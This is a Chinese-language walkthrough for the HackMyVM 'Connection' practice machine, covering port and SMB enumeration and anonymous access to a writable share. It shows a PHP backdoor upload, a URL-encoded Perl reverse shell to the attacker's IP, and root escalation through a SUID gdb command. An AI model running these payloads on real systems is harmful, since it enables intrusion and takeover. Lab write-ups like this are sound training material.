靶机链接:https://hackmyvm.eu/machines/machine.php?vm=Connection
作者: whitecr0wz
难度:⭐️⭐️
知识点:SUID提权-gdb 、SMB服务
端口扫描
Nmap scan report for 192.168.9.6
Host is up (0.00016s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 08:00:27:46:CA:97 (Oracle VirtualBox virtual NIC)
目录扫描
gobuster dir -u http://192.168.9.6/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,zip,css,txt
没有啥东西
扫描端口发现开启了139与445端口,这是SMB服务的特征
利用enum4linux 工具对目标主机的smb服务进行扫描
enum4linux -a -o 192.168.9.6
可以发现share文件夹可以读取
smbclient连接上去
┌──(root㉿kali)-[/home/kali]
└─# smbclient //192.168.9.6/share
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Sep 23 09:48:39 2020
.. D 0 Wed Sep 23 09:48:39 2020
html D 0 Wed Sep 23 10:20:00 2020
7158264 blocks of size 1024. 5295652 blocks available
smb: \> allinfo html
altname: html
create\_time: Wed Sep 23 10:20:00 AM 2020 CST
access\_time: Sun Nov 3 01:51:49 PM 2024 CST
write\_time: Wed Sep 23 10:20:00 AM 2020 CST
change\_time: Wed Sep 23 10:20:00 AM 2020 CST
attributes: D (10)
发现里面有一个这个html目录,进去后发现就是网站的根目录
而且目录的属性是10
即8+2
8:这是一个目录
2:这个文件夹是隐藏的
第 0 位(1):表示 只读(Read-only)。
第 1 位(2):表示 隐藏(Hidden)。
第 2 位(4):表示 系统文件(System)。
第 3 位(8):表示 目录(Directory)。
第 4 位(16):表示 存档(Archive)。
这里可以说明html文件是可以写入的
直接传一个后门
cd html
put 1.php
发现传的eval马好像不太好弹shell
重新传了一个系统马
弹shell
cmd=perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.9.3%22%3B%24p%3D1122%3Bsocket%28S%2CPF\_INET%2CSOCK\_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr\_in%28%24p%2Cinet\_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2Fbin%2Fsh%20-i%22%29%3B%7D%3B%27
(remote) www-data@connection:/var/www/html$ find / -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/su
/usr/bin/passwd
/usr/bin/gdb
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/mount
/usr/bin/gpasswd
cd /usr/bin
./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit